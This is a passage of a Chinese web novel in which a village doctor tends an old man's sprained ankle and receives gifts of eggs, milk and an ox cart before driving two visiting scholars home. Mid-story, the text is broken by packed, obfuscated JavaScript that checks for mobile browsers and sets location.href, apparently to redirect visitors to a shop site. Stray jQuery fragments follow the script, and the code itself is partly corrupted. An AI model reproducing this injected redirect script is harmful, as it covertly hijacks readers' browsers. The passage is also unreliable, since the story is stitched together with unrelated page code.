伦纳德正要接话，就听一个苍老却洪亮的嗓音掷了过来：“嘿！这不是小诺兰嘛！我可算把你小子逮着了！”

    众人循声望去，发现是头发花白的老伍德森。

    对方左脚悬着不敢沾地，单脚蹦跳着挪到了门口，扯着嗓子大喊道：“霍莉！霍莉！别傻站着了，快把我腌的那罐鸭蛋拿去让小诺兰带回家，给他妈妈梅布尔也尝尝！”

    霍莉声音清脆地应了声“哦！”，手里操着方才来打“劫匪”的那只煎锅，脚步飞快地跑回了家。

    诺兰见状，忙把手里牵猪的粗麻绳交托给可靠的米洛克先生，随即快步朝着伍德森家跑了过去，嘴里还不忘劝道：“伍德森先生！您忘了我昨天怎么嘱咐的？您脚踝扭伤需要静养！静养！至少在床上歇半个月才能下地！”

    他扶着老伍德森坐到对方家门口的木桩上，屈膝蹲下，把装生日礼物的小木箱搁在地上，然后从挎包里掏出一小罐褐色的消肿药膏，拧开盖子，一边用手挖了药膏厚厚敷在老伍德森高高肿起的脚背上，一边故意板起脸吓唬对方道：“您昨天刚扭了左脚，讹走我一罐高价药膏，今天就敢不听医嘱到处蹦跶，莫不是想把另一只脚也崴了，再讹我几罐？等您两只脚都不能下地了，别说半个月，就是三个月，您也别想进山林里砍一根木头！”

    诺兰收好药膏，恰逢霍莉捧着一只陶罐从伍德森家的厨房里走出来。

    他们两人一左一右，又把老伍德森搀回屋里的床上。

    实在拗不过霍莉的坚持，诺兰在伍德森家里耽搁半天，才一手拎着他的小木箱，一手抱着那罐硬塞过来的盐渍鸭蛋，脚步匆匆地赶回了还有邓恩和伦纳德等候的岔路口。

    谁知还差十来米没到地方，诺兰就瞧见米洛克先生牵着辆平板牛车候在了路边。

    牛车上装着两只铁皮奶桶，以及那三头刚刚睡醒，聚在一起又哼哼唧唧起来的肉猪。

    见诺兰过来，米洛克先生不由分说就把套牛的缰绳往他手里一塞：“这车你驾着，先送两位学者回你家歇歇脚！我给你装了两桶今早刚挤的牛奶，就是前天你帮忙接生的那两头母牛产的，放心，不是初乳，没那么腥膻，但不让你先尝尝味道，我心里总不踏实，不敢让牛犊们多吃。”

    诺兰自然听出了米洛克先生这话里的谢意，连忙摆手推辞，对方却急了，嗓门陡然拔高，连道旁树上的雀鸟都惊飞了好几只：“哎噫你这孩子！再让你帮我个小忙怎么了？我不管，这两桶奶你今天必须给我拉走喝了！至于这牛车，你也先拿去用，等哪天顺路了，再给我送回来就行！”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17041343|194694||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    盛情难却，诺兰只好邀请邓恩和伦纳德这两位廷根市里来的农业学者，坐上这辆装有肉猪、鸭蛋陶罐还有牛奶桶的平板车，而后他抖腕一甩缰绳，赶着牛车不快也不慢地朝家行去。

    他们一路走，一路遇上相熟的村民。

    得知诺兰车上载着两个外村人是教会派下来的农业学者，村民们立刻热情地围了上来，纷纷往车上塞东西。

    什么自家晒的腌肉肠、熬的鲜果酱、织的粗麻布、烤的软面包、摘的新瓜果，一件又一件，全堆了上去。

    他们嘴上说着是“欢迎学者”，其实多是借着这个由头，向平日里总不收或只少收一点点诊金的诺兰